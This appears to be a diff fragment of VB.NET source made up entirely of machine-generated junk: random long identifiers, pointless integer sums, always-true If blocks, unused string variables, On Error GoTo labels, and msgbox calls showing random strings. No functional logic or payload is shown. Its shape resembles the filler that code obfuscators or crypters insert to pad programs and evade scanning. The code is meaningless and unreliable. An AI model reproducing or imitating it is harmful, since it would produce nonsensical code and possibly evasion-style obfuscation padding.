msgbox("ZHkwOBexRmDtjZgDtBBxDELhfyOdiYufLCpQKHjTtOaJvgQVflifVPKaZvAPgOpcTtyZTjQTGTjPnexAMYWMmgOEOBOmgXuUUEYdZMqTnbvVqHAeLXoTsswMfnuUKDwjUfQrPBtuEuoxtybBqpNTbgIsnPUiJoxOieCkckcsTgoQlkcNRkTkdfBsoOxQLyFYIJdCvsG")
|
||||
Dim zvTmEgXEgfCxOEaFRbZYhpYSlcgDRnvbIrTYkalaaVJsjhbuZiZSTUMY As Integer = 3014593 + 517071 + 517071 + 348702
|
||||
Dim nUYayXTrGvfXZSnl As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim JjZCgdTBzuVBvYscCMPIlzDHGwyVftLgMTjejSLuKlbq As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim PmbbYjXlWEYHsBOEPNKoCkPAaohLQJHonuGoMOmovVIRJznPqp As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("tDKRPazvwkUxUpsgZaAeayJXwvHaLrFgGkCXvlJxFTkzQvtVWlNGyOKhnNflokBTQprBVbnAVvkLwJkFxXKrKcgqtABQVcNYmYEYdgoBHXwBCNReQsTFzUatbTxkvBqqhuQJIhOtdIvrUpqnrFQSFZsnBXtOEpmQRMEdzNNayJICpYJdoQczQamShXRYibCtEhuBqFopgjMEB")
|
||||
msgbox("DwPxlWgrnUiCQcJyVmQfZrQwtqFgrBWDfqDXqRSRHgxQIytvdXltXlLcDLAhgRgHWHlcTFjOYLTVpRCggjnVoqnbTcRicUpYpEohIWicCSYmzNnBsgyjMowqCzeHXsBwzppIywQCHHnkbVABdVvCfNqOTkQXDURWOWOZePilCppkIYsb")
|
||||
msgbox("oiLTGIWuVzFlgcAUlRsfDWRDMbaVtyTYwLhvGVuqhSrtDewbfoJbcUOkwfpAdQylInQypwscidSxRzZOGFygnOWhtkCMBpbtFtdByWhvTQxTCSpGHMMqZnoItboRzYYzzomrqeodSwDCJzegMhOqDLlLybFdlCUMQfrpHxiwHvzeffCRpviDITvqgBFzGqgaEMHdNzMSxDwpIwDctOrxlmobDlsUPmuLNqINBIOfBJVw")
|
||||
Dim AtwncwJEetStbXmhqDkbGaYGjxFlpLecmTUboVGJcMZidDbLIqArWwIF As Integer = 813476
|
||||
Dim mUGmmiphXXtPGrnndLpSwtkLtmPLqSVGaMIzvPQmOiEFWjzqRIGsBwgM As Integer = 753618
|
||||
msgbox("MEGLdFTrrIxEQJkqdUUwujAqLBKwLPtldNOqbsIQtmLYpxmgWCjOORncEOnxYSRgWjyFByAWwpEpUytMhqRHLVpKFyodNuFgKxXHJmKqhLZCvicyLqNjoKBpUssHAIhuoClmKNrUgIBWtZFPOcIYtiXFpiSlAxuOQaERXTxkiJcENKKLnRMAufkIKlWriCaokiiYR")
|
||||
msgbox("jgkKIodmRICnKzZyKRkmqBQDdnOuNbmcTJGgnVWuissftYdAIJsIDpSqmFnrKQbgriBvBOqmGWPpjoYusGBjKLmoYyxwzrXdzSbeTJTRgIavCjqhJUVueCGjhjBqHUlcqJJumkCQjXSyOPDQHNjEIbPTDglEPGxZCLuKfsQKwxBVbuTHUTsEaSKYQQYVcqdaSNusfsREXwZpJXBIPlbsrbQLtNlccaZsvqejUlANTxFuwzxhCsFInEctwyrQxJhqsVUW")
|
||||
Dim kHNPuNKtMKdXoACaVENmNBNfVjOtlYqnBDowYCHHIHesFXgINCoBBuFn As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim FefdNUhQkIIbCZXFGDYFQHbPwGatuWGZo As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim YrKLeFrPdpIUUNKIgGHtFKjQufYLZHHhNzLnKeawokkwOvIYHKBxjrbZ As Integer = 703541
|
||||
Dim HbjnjVrHLpSgxjpJpwxfUOctenClTnKGnGvmtHwiXbmiQeuaKtQfws As Integer = 126466
|
||||
Dim aJWOdJJCaug As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim dSwKjqMYcVKlilbFhnuxXQQad As String = "LfIsOZiCqitZgNXyoKiboSwkhxkwXIZcwCLeZ"
|
||||
Dim ZdeJEMQzwIWFV As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim DOKMXlUUBCUhmqgcXmBFidTraNsvvTwrCgTBDwgBBVTgGqQUEMTdwvts As Integer = 653464
|
||||
Dim TLdNnbdrauoZyjLJBcIUXMXpqqBSTZEJONqEgZDndytnbYdWZoOjtb As Integer = 653464
|
||||
Dim LtpqAhRxjgfocMTpjccIIhxLaNUOUjEefuGhLzSjDmZYYcROGeaKSHHefR As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim EtWiHSPYsMqflFICGq As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim PIVnOLVYQsXktoOmSlWeEsKwTS As String = "FpZdcgJyGISlebnnvTwSxByfZtLjxabTKHmcebOIQqKSCtTsjuwgUBxjFWVUtg"
|
||||
Dim uXgiQlQSNDDEVxkWpoWvhagTQiFZcXWgDSevOkqeQktdNePLkHGdcRlY As Integer = 750646
|
||||
Dim OtUGaPxDCrKFmX As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim QqYPwRItcisvRvgMffMjkTzVsC As String = "vSqCiSPTbXMEJRKkHWUuTZGHcTWeQzFKqhsHhYoXoNDsBXxzaXtpeABDsIxWb"
|
||||
Dim MXStqBvdvWnEVvmLGmdDmlRppDDaCNrUEVtCEnCKxWbdfWrzfxxqvuoe As Integer = 672161
|
||||
msgbox("mHTShZZnPIrufNiOHvIhkbhUHTyLXKPzHWtkQuobZiwzkepksZMIPwucPiprqROBbZGsGiycnwttsfPdFFKpoOXDImWOUjwCXlTNWKEzzdWNFdVlwqoaFrSAGUzaknsNfvEmvwaLXgqXbTtksRLCprCumyEisZGxDYgKOoZZzJxMZfFqDQvo")
|
||||
msgbox("ShctXzofKIPQjIDpBBJhBdHMJjUxqfMnhirxQCeIcDkgIYxkiFuftpEbvajoUmORsHjaUrlIUGEWhclJpCZNkORUUDaYgSDvSKeWpHOyVnMvVauaSqpeBTjbflkXAFxkfdJZBJvuUlfAfZMaFRDMfBeJWptnkLBIHOAEuffpgKkGzIqGOorgKuEQGXcoYSSIOYghHEWfTREiSHhMJOiJdhMpAsNxFHwgORaceNULxONCYHmoEBBPb")
|
||||
Dim lEYccEOxCkSEqIwsWriloDOJnQLWDYlQYSDdFgFLFry As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim WzRQiXftNHSUlDwtnjKslXKOXWzAM As Integer = 2290773 + 441836 + 441836 + 811054
|
||||
msgbox("zsNGmxFdyzFWurjcwpTdyiAHvELRGOWftoEZyTrnpNOaaRhtVywflrMKaTGvVfUdXpKPujFIcGaywUcYqtAgsRFICjllXUsdVWUVmCyhUMLjMIMbLvNrbeftSZxBhiiVFihljgHYyUDMLJUYNNsKuzvTZFDqKuNBZWgHsdmXFXYaZvcFVKcfdxyfDPhhCWURUKsooJ")
|
||||
Dim esqEZgMqcxKVhSHQusHICayXJXWditwDRZRLMmHCIopDWMrAlNSrMA As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim RYMeFYesgLcWjAkl As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim UbPEWZYhgYGNbrvRGnOMkVQIyn As String = "UDQEwxaToeQBqhsaQiePRkQkZOgvtZRILQVSWVDpNuzGLaBkpBuDztUkuBiCkIk"
|
||||
Dim aApWkrRDSahVsjSrIPJZsTiLbCyjNnOldsFBUQFDYpvIsrWvrVPqylYJ As Integer = 719266
|
||||
msgbox("YxSeyQfBSOnjRkcTMPGotGiWWMNEUkCStmkTGLvFMRTVNeyuTxCYXSFkrTmtQLlnVrTUuaQFcVJuJkxvfKlivpZvnpLnVdtFhKOPEELowwoHymuViSHcmzyKnJpmKuqbdvjVscfZPVmJNikUcRWGjOLqkOQaxoJRNLlwUKuUUPbxeThtLXkFeaQFPaKC")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,165 @@
|
||||
Module iXeLtGwIKruOFeYSryvT
|
||||
|
||||
Public Function aAkzPORzoizyOAeWVPuTLMLMWXPBEggmRGmucgDefNrYdqNOQNxStalgaYYkYNWPmlboFMKLelQUruPMHmkXVSrXbulXvwQrTrzvIiHjQGPBMpHEbnExANxZInvb(ByVal uXRybuQUWvQVYnLn As String) As String
|
||||
On Error GoTo ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG
|
||||
Dim MhRVwcvGncnPUULKIxOIExNcKCopLCyuKYsoNIQVrJMSBljKEyvpjP As Integer = 813476
|
||||
Dim SjpKuaUZFtRiqOqZsXUvmmJiQpvCkMztQXfgXySeJPIELnRJPkETiCC As Integer = 753618
|
||||
msgbox("OwnqOeNRxsJninzvrlxrvFKIwVajNBGlkEvnomnHEcKPOOUxwmFpqEKMaMQaEchCFoJyzSBWlFYKHylHdDdavxPTYFeYfmuJluEpZxJENHYxnbqdGFQczMcBKBxhJwwsSNkePRCCfVCcqxJPcKXkrBDqsBDCnqVCqgMArGTCoZCvgmBzgSnXbzxmTlRLNKhMeSxK")
|
||||
msgbox("gBpxpMJEpMTDVxoaSemJuhvzrynNnJYPUQBWmUHTLTRoSGmlNZpZSGLchMLkxRGeiQETgnCkJgFvkvxXFtjfsPpYyCWFdxxDSsizhwqjWOuLnoIVWFRftFmZLSWUozpnipPlfcYMMaMFRUTdbQQvLJFbiPnzUEjdsPZyPNCMuXiyJUjoiiHxiKvZeBwNJvgVLaqHYmehiOlMFXCxFORFAqKOOmZgwGkIDfngvhGPsHwQtLcBHSWoAjzqBcyZVSuohlusV")
|
||||
Dim THKmxySZGSpkGiJxdGeaqlAvjEKeMDemBFemVIEUKpPlhXhwWDHfIvsG As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim MoJTIhuZUXKkgYNTPiRbtxgVNyRKZuBk As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim KdTfdjdkihJbSFVRhVGTNkHzjsqwPytoubnRimodatflVWZhFKteHeV As Integer = 703541
|
||||
Dim fskrEOFqlwlXlYmtLsKrfIBRSSTouZIHpBzcQfFxBoqPpPBhSGlvTym As Integer = 126466
|
||||
Dim FdhcEjUJpzY As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim nvJoobafILMMzlARkpRxXFDAkM As String = "cioarLKRTpCKnBfHWpKulXtKAIIOKeIgTnvzp"
|
||||
Dim qgKqixrNZQfqc As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim lUiXuFIPcsCeNLeIDXJqHRYRmTDjYGRgisYUFapoBmVSNRxAluklDkua As Integer = 653464
|
||||
Dim iZRQcHgtozoeTMMugRjgZjtTXluznbYgEERdtJBrUzqExhEsMHkAAQu As Integer = 653464
|
||||
Dim JFkQwgHSDGieIeMImEOmJdiLzdlLmUNuKpoLmrDYuqusUnFYHundnaqzF As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim tHjoRRpkJpKHETsSPexzlYBsEmYCIqdEVGe As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim FULuyEemnuwlBkuyJvbRVXZzCt As String = "tvGUEubSrASeMjvWTaztRAZXcmXVTVLDwbsXGEvMEgUqfYsnFNxVfjFoFdakJCMM"
|
||||
Dim ubiqjSsYLXpPEEYtpoDMikykwIEJKXPgzyLgnZQawrBWQeTsoLmQEWoO As Integer = 173571
|
||||
Dim iilGHeLECeIcz As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim jpZgcMadDxpknnAaRQkbJQUft As String = "UFFIXNxwWdbBEEkbgdOyEGyyGGoQxPeLaGxqucJyInkMLVeHyBXmtbYPfOkWy"
|
||||
Dim lKizewdGrcCBQiMCgtXGYSJfTqWLkdRUnvylRsWmRwHxpUYGDbbmKWLq As Integer = 672161
|
||||
msgbox("yVsiUigtYjPChNWPJCHFKwwpNelTyYNWzvfdMaDmQnIHLyCJPUBmXgUkgLckWePJJIVdBnZwWNfxWjOBFBNShIxMVwiPrJgXVVLHLbZmYxxNVzfQZQIQnudyYpvzdrkyoBBjsWHjJmckgLBpCzmmMemhwflsFrsFibEvGobIsXMDMGEQTPUs")
|
||||
msgbox("xkyYLjozFttxmkbtgVbjGHuVARyawIyJEdZpEMitLultyjbNnuZqxwmOJZWIqDbmmdcZSQnhsPfwmcPogsmdIohLVmvBMgRoLSWybvcbPZTcDCYSesKwqeuTLZJqLnkXCTvuiwRmFuqUyCQIINidwOnuHGAHpTsvmAounNTUptlGYZGRtYuFbncymCJjzTGQsjrhtsxiustTfOJBNwjMhvalZkZErioruoqqdTjxNBrWPmUrBqeQ")
|
||||
Dim YmXwCiwCQRrqqezqjgGvGXaTGfrJbGThPjQHHZQgGL As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim WEPoymldkbocfaxpmeZJvWHybtKum As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("eSaWUdOKKylDRoGludVAppIoqLrExpUnHoxyJxrNlStmpxuZUrYRTZxofUnIRprHuvaWYFTkSfipQJnLKUupqoLgIaCQkJUXEvkLBjtVUtfikGmrfULnwQzKnmNzoeEfBxDmhRVQGSLmkWuMuzjZmPVjMveUkwZzIGUElQrICWFnLSRSnwOmJILIcYPIzBMlWeIZjQoY")
|
||||
msgbox("ZIyxDEdSXPFXNlVDFXnjcbdSayTpuBrNjCBDWcauQyKEIVIbECLnRowOJNeHPFonKNsCEqygmsHcvlhBoXiblYLHRfMFiJzipdlHepbPfhdqakPNcsOBLFAoWRxhiOgZrvcXvzcwOmCaovsVLTUSCEraRJroxVPPzkVMdGDohzTVSNaVVJoimKygbCveWIQNwTsXGjYIhcynsGreRBRjcIqortRfcRTVeKEhCZXFKlzEiPbyvJMwvnDBGxMTikFnqZLRkPh")
|
||||
Dim fMNRwyGuEXLLdrjIvaykQcQYrgTolsNhvLhMvxSdvVwMABhl As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim FLdMFwfrTRGXTDxDZEHDusAImEPiYXmsbmumJEByojZFyYKAaRSdDRbfST As Integer = 9707600 + 552949 + 552949 + 552949
|
||||
Dim dzjfxCDDCZhlIPJgEpDxYuPzUIijJWLIZbAigTxlHFFXilEPvnquHTUH As Integer = 719266
|
||||
Dim egVMYBNralBIpJuHpNZHiVGWeXnTTfJpOceHtKckzgIQzPVGPYofKvM As Integer = 572008
|
||||
msgbox("kfJgstVxGmKoNhhJJopLkZKjgDbqJocgYFRIQPmMWFCNiqAUeawvQcMxjVFMUhWUoIDKbmLPmpLERVUpfcSzAhUFORKUkXoBrQobGNoUIRExWkkXWYNWqeXeTKBoLbnmEuvosPquNEqIwrTMlkYMFjNnCbxOybvkApHHelrDDfOfxlEHvVVDbgqyufwsmmnrfwAsXvmrRDKyZLGQcBufFQTSXpmIdBdRWiOfaqpTdsSufOnvIziYviNDMcJsYR")
|
||||
Dim uGbZkjAjZdByqOzOWJhtOyjqdBtRryMDfGZPKlusaDLxKOCWExOJm As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim NszZJlitHuSYguNNAhZYzKezFxQImqh As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim CsuOrWYsWstxZxHnXFhalEnSrv As String = "UEYcWhtSXjnvRdsjENBePJtYiOTtwQBvDYDZfMuqPTCBBQyJxmaXpTLfiGQi"
|
||||
Dim hTABquXtCJzRlQUwopNhvtvSzJWirlysBuTNQvygsbkCDoUpcORpLaKy As Integer = 992114
|
||||
Dim LjncoQGqEPoSNaGkQPGoAitKGhSlrvgEbjBitsUzbJxDRsstivqqfGTuUp As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim GshOgQlzrjlpLYpeAoEMojApPiiQgVcdUqbQU As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim dXCOYSqsPYxMDrJqpUbDYNSVHV As String = "SSxnMDwtGBcliaEVARIoQXzERsdCWoUHpzGEsapezXGUbLzcuqVwEcawTvufOmIqk"
|
||||
Dim QsctXFHTOoxoszjqXPmyLbjWIymSSmgVTVgaywtJrOMNUfWRbSCFcge As Integer = 619113
|
||||
msgbox("aTUCjuCjFsorrQZhzUxXEoCdoqxNsWmTnQCLbRIiJifWtrXswCFRUDDEglxdCIrgzEwwfxcspoBhsezsLplvgBtDUGbbCVOpDKkTdHftUduidrxFdFfuIfdxYZgwOFBJUXGkesNdZvuVxnTWXmCwiQvqlGsOmFAkEZrZEeZExOMKpjXfhLtWHxJHPyyeqKJamesN")
|
||||
ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG:
|
||||
msgbox("SFMIEFpuuDJSyfXDVqWZRiTgTZGjUGZJUpjKnjPrkZNDxRNhjwOYqvVDScxRIemduTlnIRoCEZrctYFRtdolmHonsRrAFrsenGZRkrxZvSDQIoiJtFoZGHmnGwNeiaNtRIanzWMGTFwKDdJfcUJYhHBzJWfCrRgIOtnodtQfrFuVEZVwXqXFZXhXrYetIAkcMoiGSxnNzLmKhEtqBbFoVlhBRLkYUJcuZDlMGRdHfByaAfGbikwLfCixpbNQaJHQsZaihq")
|
||||
If 3014593 > 517071 Then
|
||||
Dim KGFwNNAaxQpYKKQjfEdSfXnIGN As String = "jdJKVNkEqFNULKTGumLWmJPPFXcZzidoVqGSDvyf"
|
||||
Dim vjwNxBnPaeebrlFYoxcvdviT As String = "SepuDEhbxQeHCZzXnijqekNMDPkhyUGVpuyDVYNW"
|
||||
Dim MnPtIKarsoJpOpZDGcfyxlYVeC As String = "RDLpRgUCOCXYXWwcvGqHkRkMTkhaWDKHQnkrcI"
|
||||
End If
|
||||
Dim VykoTBBfoVNwARtGchWRYWgQGB As String = "elJZvRtxIrsvtLSllCyhoiFgCdbQOHRdtiCpNXCzSQIkRQeTihDwQsI"
|
||||
Dim UXGjicUYtTlMWQPfSttRBWjoOF As String = "qwHoSctMMRbSsrHSepDbckSxhceNsktWzQSRcDBmNUwivXuhjRxeeaAwPbkoHckRoQU"
|
||||
msgbox("jrsAmIbMnUPlCdsGwrcrelevJoHMPRBEbiRjVJaOcHePBYmoykCFcYWzBBDcLmxDflwfrmsAJNwEQdsNjIVmCCIgHgGxqufqaHFrMtVhtBCojUtjAVzHXzunvrqsQrWYNnkqCMBlxziaoJPFdMCSimYcvgCROiplZIHXJsHcAKkIRpWktDSClKJJjUfElQzknnNSjgBNfFyVVJbgXPlsiNQpmb")
|
||||
If 6879251 > 918769 Then
|
||||
Dim AjFpOrBIDGKIVFwLiXvaVWTAV As String = "KiTspHORzCWddlRMdGTwjtzpSVveULBrJif"
|
||||
Dim rDVHsauimqQfdgUGzhaVXbSjTn As String = "xjoRDuonrnwJDnmcBWSzDWLFyMXmKQHDVaX"
|
||||
Dim mLnuCFvQeayaAWmompPSZXwzMa As String = "pYBxIcWJVIpiZmfLEdNYvbRhSYrSxwBQkvk"
|
||||
End If
|
||||
msgbox("EsWPRBYlhclmWpSzkQELtWJqlPaJmEymeRFssqBPHRbmMEZekvbEfLsiboWWtyVGROhDjxneoxHcrJVJywzJudFCaqeeUYrTfRERsYMeOsQobsWcOmiPtkfIVwoUnzbnJYDRwvufMxLebfyYrCkPdXBCUDJrYjrZxPJMeuLtljVpdXYobLVZBFwkSZxXxTXfqGcdKJtUhSCxDJeYNbzRiXzGLZLneszGiLTsLcaMvNNcWezfxMdWvPtTtRJO")
|
||||
If 2463750 > 459815 Then
|
||||
Dim OUXBNFkQXfMDZtbDEeMkHmsqIp As String = "UqLYZeVcbshwQukgxIijOwSuzwEjxYeJleJlWkNTuNC"
|
||||
Dim GUiOGonlzpwdaNnoJjVPVyBSqK As String = "mRyKjinoVSIQvrBzIXRorXXWQDjjqwLvumFoFCfNcoyQRQjVjhynIUDvw"
|
||||
Dim XrypHWYlUqDzchCveWMypvlAXp As String = "eFCfspcdwyEBgzGvJpSYzLuiLXnnCocRvlSOHHEPkuqZSZZMyKwVEMCjkQK"
|
||||
End If
|
||||
msgbox("ksLsJJHaEHZzRaNQjeuMnFTpMblGXYXgGPiITNznybJSuoewDpGpTZUHxDFhYjIrHHeWwNzHPzhynBXzhpOVxYdljaGSHIJSqWpVHLTHsjaeStAZjTsTuKEokGhUJrMjSXRnJDZfCeoZUpgmcmnjxLdnXjaGBPyJhKMlUKlxtceBtx")
|
||||
If 4396078 > 1029882 Then
|
||||
Dim DowMzphzRVMSIWxChTHlMyTFCB As String = "oFyKjfzxTDQAMazHgQzLWDdPEmrqoFfIvQXYnrCaWdkFINPafGMOknsNbKyrbYjUxDb"
|
||||
Dim meUFyGRqYBpQiZWfWcWLzCgnNr As String = "buNrOrLnKJDsSgOtbdHPTzVLhQMassUFFHkrErqIbjCQhokqCEWyqLytqVFYMsuyYJB"
|
||||
Dim gKJnXNlRUiwbcOKnywjIdyOaOi As String = "ftdVorVsmWesgWmFrFLaQnCpWoNgnfcpXLzraoLijYklOlQITXKSSvrndTRnNWDG"
|
||||
End If
|
||||
msgbox("SAGVrFYvFRwMFhPYjSJCfvogwwtMhUxlQPlOSPnXLlaLEyaSftmIbVNVSyqZOGsGPXxkLEGLkewEbLwlEUKrHPVfunUIacXANkBVtkoPDkLttyiDCZLPrrJdvUdfagwZqbUaxbcsnjbsNFqgNSaWSoUdyFFdrMogeQlViHYtVfAdejTBrSQZlDUvoKKCyAtBOeuygNEAxItWlDoHYVNVljhqFAWTqvrF")
|
||||
If 5669966 > 793074 Then
|
||||
Dim llkyyLloSvqgQsWcUOhyRDhzT As String = "VhqjHAOqYCQWfxxrhNCmgiEArCDzZimkXlBhRGqevZoncWiKHCmWLkZTHBcUoKvpRZVVUyVY"
|
||||
Dim hncmjoRAIbidMYjJbYUPpCkTmx As String = "VVjrXaAKXYchPlqDdZuraLTlEAhGVfVbUQWIhZeayEwgzBOYOGTKOohusPmwzUBbBBNoqRa"
|
||||
Dim CJAZzuWonACMhkIexHEQSOnQgz As String = "NVuERIDfzjMHQFCnjfDWnWcNmVHDlaCGYkPHTLQgfrqNeeqnkdBtPJTjnWqzGhZNiPZsKe"
|
||||
End If
|
||||
msgbox("oZcnDhDQNvHoIZiiTbptLscgFBqeFfdMrgKcXSVrCVAxIvLfkBAEvnxDoxDpgeCaqLlBzrmgPofOzEmuNzCHRidHoMYpCEKATRzYseZYjpApcgPmZoQjHoikwwsbiXaJyvJKHBGrHaXnrQfpaGtDjAVNCTMMpJpuIVWICoTWMhtZKdDGAGiriHDfjOQDphHwUZwrIBFPFdliLRQRhGGhpinKxzlsgRniiBdrc")
|
||||
If 7602295 > 334120 Then
|
||||
Dim QbWrJiIYDofxTsjIouGUhpCsmW As String = "eYjwEuwnFaLrUawoaWcvNLsFoeIFOvCGTQvdMW"
|
||||
Dim bXlxcYbHSLFKAxyingdKTRziFy As String = "qlLClilqtKSSOFXuRDZURzMqPdLvHWAsNMLEnqdDosrsrCVwagG"
|
||||
Dim uIPajeoAfuDobgbggiionmNjIW As String = "kFstaOsloOloriEOpjdWpXIOeSvnItqzwVuvtehGFgjtfFdZOuAsJS"
|
||||
End If
|
||||
Dim FbRgqTxYTmGXMudiLSOXTiLLYU As String = "THGFYexTWazHtIQbmpzEicSMhcwCtIUCzhpeRvJHniNHPjY"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function vHoqEdEeCHDhyRzgEFasWMsqeoWqotPpKpScdFRBBPWEGXtPLRxEAhJJWXrMfFZjRGHsbaRaHNfQIIKqBnDcHhxZmyevKRpzIDCGNZqCDafMAVyJVnbypeZIRsI(ByVal wpZXfcORaSXFeMk As String) As String
|
||||
On Error GoTo bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY
|
||||
Dim vJedPcFWgywBxCoZqzeQpumlRHXNtSflENcMcxXpZdemvsJjxRRnSYIu As Integer = 703541
|
||||
Dim UCsAAzqDPzZ As Integer = 391134 + 1105037 + 1105037 + 445234
|
||||
Dim szBlmABmopRInUAqwngFtfSdve As String = "hPtWClvjaxfjXbsEBpRKNbHCPEpQfXutcRVyVXMUqZZ"
|
||||
Dim PvctIdDKmcNUK As Integer = 703622 + 646083 + 646083 + 1015301
|
||||
Dim DcEMYruApFcuuwICbvjSVHlSKfBYyJtWrfsqrwvBfgEBPfDZBXmCtgP As Integer = 800723
|
||||
Dim FEPsapjSLJzKjISZrsKgtluvFtufHlwEHhdOhLuUPZftFbQeoPvPSkZR As Integer = 653464
|
||||
Dim iacTxMnkOXkTDfKHVmCJkoQSanfIQujgHCiiOCblYglkFOLAwjiEpDp As Integer = 976389
|
||||
Dim rHnzByXmbSpZJxhMQnrCzkWQQW As Integer = 3392460 + 556347 + 387978 + 387978
|
||||
Dim TWBrrwBgNWXopOtucudXLCmGtWWyQBgrhcr As Integer = 5324789 + 588827 + 588827 + 588827
|
||||
Dim oMZgaDKIDIscHZXQWCmmYNPlrckCXFFsPDyNPmHSVOBYFWIauizlPXsk As Integer = 750646
|
||||
Dim PxSgUcFDQTGnJDQembqiwyqEpNYqjaOActaRglDoRpUZXwoFVrwHKjj As Integer = 173571
|
||||
Dim vPUHvyQlTKGDLLhBzMoNlAtwzaddSAeIpQEggPBXchtZzveJjloxYR As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim TSUSUwyvGolBpsPIEGTaanQTj As String = "zAzfEmwfrbmvyLlGBMPfKExYbkalMZknUMuGsdDQPWJGjzdCvhqwiVjAdZWEd"
|
||||
Dim PGbWMWcpMbNwJpNhAcZodQIFnVHgynXxiAvAPtRDYfhsOxXBAItxzPWb As Integer = 524903
|
||||
msgbox("DMdnjhuVDigJFkPAQNOTbxZDkuYEJLdsxxbkTCOaDpqmzQgewUEWAePblfDCynJIYvweYYtKbnrFmfImEFRTCqepfyzOMDpnXqpQOCLuOJjIhlZtdEDGwptNHfPhQOwAhPIqCxsyClWrxqETIzQevilQFLzEWdGSrACyDRPthCEBxCaiiXFjPei")
|
||||
Dim FjpDqfoARIZgdacUiOPFrGvEhkXifHsWaEOicyznvJfUrIhdi As Integer = 8326115 + 900790 + 900790 + 240987
|
||||
Dim SrnYsVBxvDt As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim aRFyxmqKWFefWouzdjaSwRYAkG As String = "PtmDMWGykucbhSaxrgSgXPKpvshJGGRxYNeYYsOPYkabNJlGymJfHfjwz"
|
||||
msgbox("YEZXHoYbGZkDIjNEJdLlyWGjTggNdTaXjJsRdPajvXnubxRHBtencetptdVCnRGEYrplmrkdimHCJhXVcaLJLonpwDlbBMKczemTQWzadtMQnnYIrzcofChzlkxaEEhHTxDFwGMonTXYwSRiFtzRTWYhTyaocwTHpXKjNxThVpJPSXvLYivgJwHBCVpFEpPqVicuxvPTih")
|
||||
Dim HWwcpauNFcGoFAbYdLWTJcCBLvyaGSOrjKXbLCvVDSghXExKUlsOCUML As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim YpvOLiFYcKPpEMYg As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim kPHCmawtzkgIKCrkuintOwuwz As String = "VtyTVOjidyVMregosmhVJUDTqFUMwuwHvFxTjiNEYiJpJTxLDbRqPxvgSbKnA"
|
||||
Dim jTGtqTgQWPyOopDZuVeAWjRUdkMBuMSnmrShkQFFTVgJUsJKhWhaua As Integer = 719266
|
||||
msgbox("qPEiBtxhiZmbXAmFTeRjoJTRpZfQyxcoGHRlcLHMTxitIfoXuVltABMatYGYSGBWpFUbDrrfAsbeDtEOJKYOtKTIoJgwEbBpgtRzsscHTqVcXyIBzffpisPjORGgWRDNTFIBLXqNMcPieBdDHPHQiIcaKcjVjkkMsWvbVnITUiNsnLprUwGnHNhAOYQMFnWH")
|
||||
msgbox("xezLzLCSoZgwbDfylrciRHVuPalyKaqlMvWhTDfbsciHuBfPfYjGNXJahscyslkdLVdNXBASKzqOjwBihwfbfoHpMlDIINqypUcehvxsnELuQdaFmZXUnuyozTVEZwqxsGcHTYCEVHBaKkkhoXSOHfOaoGmOOZTcRtjZBazCDVWimHNPjDblIjozbNMNvmGoHwHHzqWqhKdtRitGRhDLKuDNIABeqYlkHfDglHATCndkUAHHjXIQkBsTclPnTVs")
|
||||
bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY:
|
||||
Dim GFVoxxBczHwiTwsLwoBruphOydbToGFGRNfIuycOBRTVBTXoRYPJcnxp As Integer = 317857
|
||||
Dim GWbwbYyHYHgYyczvMDlEtwvOOFdzLNWhoKvaaUXtopxdVxdhfRoPEsdE As Integer = 170599
|
||||
Dim UUeohjoPEjFkzuBUkZMIaCwJUrXPUFBbyqytlVtPSEOxvFaoHViLQhBN As Integer = 170599
|
||||
Dim CfImRBQLSuIesneWIcWdwxfQd As String = "yTLGBfaggqKwwZhZxkWDgkhBLmRlyHSMhPOWxrXngJkbDsxLwmG"
|
||||
Dim lbWiVRmubmZxgurouGStvWftqM As String = "kAtdjtFnfkyNCtNNkSpsYVjRzRqZFdkUtzWUifwKcKaXyf"
|
||||
Dim cipWDaRwfHCLkIKQtYIUVxzjJ As String = "CddzseXsGbcAZEFthptJCiCXFMUXMlgEbVDZXZaPtwTPQjIHaHwdGsUgoYvQ"
|
||||
msgbox("cUWQfDClsHmMpCxCIpYXUDFagYpyrJqeJoRXkMGlHThhHQNkfVnASOIJEiGGLyOgDoISCcwCCZZXvvblOhFzkrOTyGChNsfurRphsoRqQhCwXxOGfeahKborvseJmxwavSJchpQICIeVUEOMXWrGSLIJUtLPQVsrnPrKwKMBeGQLvmBcprqHOoDYRkGBpOrqvmQDQLxIJSkucCa")
|
||||
